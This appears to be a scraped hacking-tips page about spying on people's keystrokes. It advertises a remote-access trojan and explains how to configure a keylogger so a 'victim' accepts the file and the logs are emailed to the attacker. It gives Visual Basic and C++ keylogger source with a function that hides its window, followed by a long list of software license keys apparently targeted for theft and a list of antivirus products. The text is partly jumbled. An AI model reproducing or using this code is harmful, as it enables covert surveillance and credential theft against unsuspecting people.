
F.B.I RAT (Full Backdoor Intergration) V0.1. Supports
xp/Vista/Windows 7, all features have been tested on these OS's
including injection, but there have been some limitations on the
sniffer.
Welcome to my site. Please CLICK HERE to give your opinions regarding this new look of "PCTipsbyAnu". Thanks for visiting.
http://www.win-spy.com/
User – type in the victim’s name
File name – Name the file to be sent. Use the name such that victim will love to accept it.
File icon – Keep it the same
Picture – select the picture you want to apply to the keylogger.
Email keylog to – Enter your Email address. Hotmail and Yahoo doesnot accept Keylog Files so enter other email address.
Thats it. This much is enough. If you want, can change other settings also.
* GetAsyncKeyState
* GetKeyboardState
* Windows Hooks
Private Declare Function GetAsyncKeyState Lib “USER32″ (ByVal vKey As Long) As IntegerThis is how we use a function already present in a dll file. In this case we are using the user32.dll and the function we are using is GetAsyncKeyState().
Do While 1=1
‘our use of the GAKS (GetAsyncKeyState) function LoopandPrivate Sub tmrTimer_Timer()
‘our use of the GAKS function
End Sub
If GAKS(65)<>0 Then
Msgbox “The ‘A’ key is being pressed”
Else
Msgbox “The ‘A’ key is not being pressed”
End If
Private Sub tmrTimer_Timer()
Dim i As Integer
Static data As String
For i = 65 to 90 ‘represents ASCII codes from ‘A’ to ‘Z’
If GAKS(i)<>0 Then data = data & Chr(i)
Next i
If GAKS(32) <> 0 Then data = data &a ” ” ‘checking for the space bar
If Len(data)>=100 Then
Msgbox “The last 100 (or a couple more) are these ” & VBNewLine & data
data = “”
End If
End Sub
Dim count(0 to 255) As IntegerThis array is required for remembering the time count for the keys. i.e. to remember for how long the key has been pressed.
Private Sub tmrTimer_Timer()
Dim i As Integer
Const timelimit As Integer = 10
Static data As String
For i=0 To 255 ‘for all the ASCII codes
If GAKS(i)<>0 Then
If count(i) = 0 Then ‘if the key has just been pressed
data = data & Chr(i)
ElseIf count(i) < timelimit Then
count(i) = count(i) + 1 ‘add 1 to the key count
Else
count(i) = 0 ‘initialize the count
data = data & Chr(i)
End If
Else ‘if the key is not being pressed
count(i) = 0
End If
Next i
End Sub
Private Sub timrTimer_Timer()
‘do all the fuss and listen for keystrokes
‘if a key press is detected
Open App.Path & “\logfile.txt” For Append As #1
Print #1, Chr(keycode);
Close #1
End Sub
./confiureThis will check all the required resurces it needs
-h helpExample: lkl -l -k us_km -o log.file // use USA kb and put logs in‘log.file’
-l start to log the 0×60 port (keyboard)
-b debug mode
-k set a keymap file
-o set an output file
-m send logs to
-t hostname for sendmail. Default is localhost
Make a main function .(The main function will be the first that will be executed.)#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
Under that we will write our keylogger so it will also recognize special keys like the ’spacebar’ and stuff.int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");cout << key_stroke << endl;if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);fclose (OUTPUT_FILE);
return 0;
}
So thats it, you wrote your first keyloggervoid Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
#includeIf you do not like programming below you can download one of the best keyloggers called EuroCron Spy
using namespace std;
#include
#includeint Save (int key_stroke, char *file);
void Stealth();int main()
{
Stealth();
char i;while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}/* *********************************** */int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");cout << key_stroke << endl;if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);fclose (OUTPUT_FILE);
return 0;
}/* *********************************** */void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
@Stake L0pht CrackLC5
3D Mark 2001 Name
3D Mark 2001 Key
Acronis True Image
Adobe Acrobat 6
Adobe Acrobat 7
Adobe Acrobat 8.x
Adobe Photoshop 7
Advanced Direct Remailer (ADR =>2.20)
Advanced Direct Remailer (ADR <=2.18)
After Effects 7 Name
After Effects 7 Company
After Effects 7 Serial
Alcohol 120% 1.9.x Name
Alcohol 120% 1.9.x Key
Anno 1701
Axailis IconWorkshop 6.0
Battlefield 1942
Battlefield 1942 Road To Rome
Battlefield 1942 Secret Weapons of WWII
Battlefield Vietnam
Beyond TV 4
Beyond TV 4 Link
Beyond Media
BitComet Acceleration Patch
Black and White
Borland Delphi 6 Serial
Borland Delphi 6 Key
Borland Delphi 7 Serial
Borland Delphi 7 Key
Call of Duty 2
Call of Duty 1
Call of Duty 4
Call of Duty WAW
Chrome
Command and Conquer: Generals Zero Hour
Command and Conquer: Tiberian Sun
Command and Conquer: Red Alert
Command and Conquer: Red Alert 2
Command and Conquer: Red Alert 2 Yuri\'s Revenge
Command and Conquer 3: Tiberium Wars
Company of Heroes Version
Company of Heroes Key
Counter-Strike (Retail)
Crysis
Cyberlink PowerDVD Version
Cyberlink PowerDVD Key
Dell Service Tag
DVD Profiler First Name
DVD Profiler Last Name
DVD Profiler Key
Elaborate Bytes Clone DVD
FIFA 2002
FIFA 2003
Freedom Force
Futuremark 3DMark2001 Name
Futuremark 3DMark2001 Key
Futuremark 3DMark2003
Futuremark 3DMark2005
Futuremark 3DMark2006
Futuremark PCMark2005
GetDataBack Name
GetDataBack Key
GetDataBack for NTFS Name
GetDataBack for NTFS Key
GetRight/Pro
GetRight/Pro Version
GetRight Key
Global Operations
Gunman Chronicles
Half-Life
HDD State Inspector
Hidden & Dangerous 2
IGI 2: Covert Strike
Industry Giant 2
James Bond 007 Nightfire
Legends of Might and Magic Customer Number
LimeWire Acceleration Patch
mIRC Username
mIRC Key
Medal of Honor: Allied Assault
Medal of Honor: Allied Assault: Breakth
Medal of Honor: Allied Assault: Spearhe
Nascar Racing 2002
Nascar Racing 2003
Naturally Speaking 8
Need For Speed Hot Pursuit
Nero Burning Rom Name
Nero Burning Rom Company
Nero Burning Rom 5 Serial
Nero Burning Rom 6 Serial
Nero Burning Rom 7 Name
Nero Burning Rom 7 Company
Nero Burning Rom Version
Nero Burning Rom Serial
NewsBin Pro 5x First Name
NewsBin Pro 5x Last Name
NewsBin Pro 5x Key
NHL 2002
NHL 2003
Norton Antivirus 2006
Norton PartitionMagic 8.x Name
Norton PartitionMagic 8.x Company
Norton PartitionMagix 8.x Serial
NOX
O&O BlueCon 5 Name
O&O BlueCon 5 Company
O&O BlueCon 5 Serial
O&O CleverCache 6 Name
O&O CleverCache 6 Company
O&O CleverCache 6 Serial
O&O Defrag 8 Name
O&O Defrag 8 Company
O&O Defrag 8 Serial
O&O DiskImage 1 Name
O&O DiskImage 1 Company
O&O DiskImage 1 Serial
O&O DiskRecovery 3 Name
O&O DiskRecovery 3 Company
O&O DiskRecovery 3 Serial
O&O DriveLED 2 Name
O&O DriveLED 2 Company
O&O DriveLED 2 Serial
O&O SafeUnErase 2 Name
O&O SafeUnErase 2 Company
O&O SafeUnErase 2 Serial
O&O SafeErase 2 Name
O&O SafeErase 2 Company
O&O SafeErase 2 Serial
Padus DiscJuggler Name
Padus DiscJuggler Serial
PC Icon Editor Name
PC Icon Editor Serial
PowerQuest PartitionMagic
Pro Evolution Soccer 6
Quake 4
Ravenshield
ReplayConverter
Registy Mechanic Name
Registy Mechanic Serial
Roxio My DVD 8 Premier
SecurDataStor v6 Key (Machine)
SecurDataStor v6 Key (User)
SecurDataStor v6 CD-Media Key (Machine)
SecurDataStor v6 CD-Media Key (User)
Shogun: Total War: Warlord Edition
Sims, The
Sims, The Living Large
Sims, The House Party
Sims, The 2 Family Fun Stuff
Sims, The 2 Glamour Life Stuff
Sims, The 2 Nightlife
Sims, The 2 Open for Business
Sims, The 2 Pets
Sims, The 2 Seasons
Sims, The 2 University
SimCity 4 Deluxe
Slysoft AnyDVD
Slysoft CloneCD
Smartversion
Soldiers Of Anarchy
Sonic Record Now!
Sony Vegas 6
Splinter Cell - Chaos Theory
Stardock Serial
SuperCleaner Name
SuperCleaner Serial
Symantec Norton Internet Security 2007
Tag&Rename Name
Tag&Rename Serial
Techsmith Camtasia Studio 3.0 Name
Techsmith Camtasia Studio 3.0 Key
Techsmith Camtasia Studio 4.0
Techsmith SnagIt 8.0 Name
Techsmith SnagIt 8.0 Key
The Gladiators
TGTSoft StyleXP
TMPGEnc Plus 2.5 Name
TMPGEnc Plus 2.5 Company
TMPGEnc Plus 2.5 Serial
Trend Micro PC-cillin Antivirus 11
Trend Micro PC-cillin Antivirus 2007
TuneUP 2006 Name
TuneUP 2006 Company
TuneUP 2006 Key
TuneUP 2007 Name
TuneUP 2007 Company
TuneUP 2007 Key
Unreal Tournament 2003
Unreal Tournament 2004
VMware Server Serial
VMware Workstation 5.0
VSO ConvertX to DVD Version
VSO ConvertX to DVD Key (Machine)
VSO ConvertX to DVD Key (User)
VSO ConvertXtoDVD Version
VSO ConvertXtoDVD Key
Westwood Alarmstufe Rot 2
Westwood Alarmstufe Rot 2 Yuri\'s Revenge
Westwood Tiberian Sun
Winamp 5 Name
Winamp 5 Serial
WinImage Name
WinImage Key
WinPatrol
WS FTP
ZoneAlarm Name
ZoneAlarm Company
ZoneAlarm Serial
a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -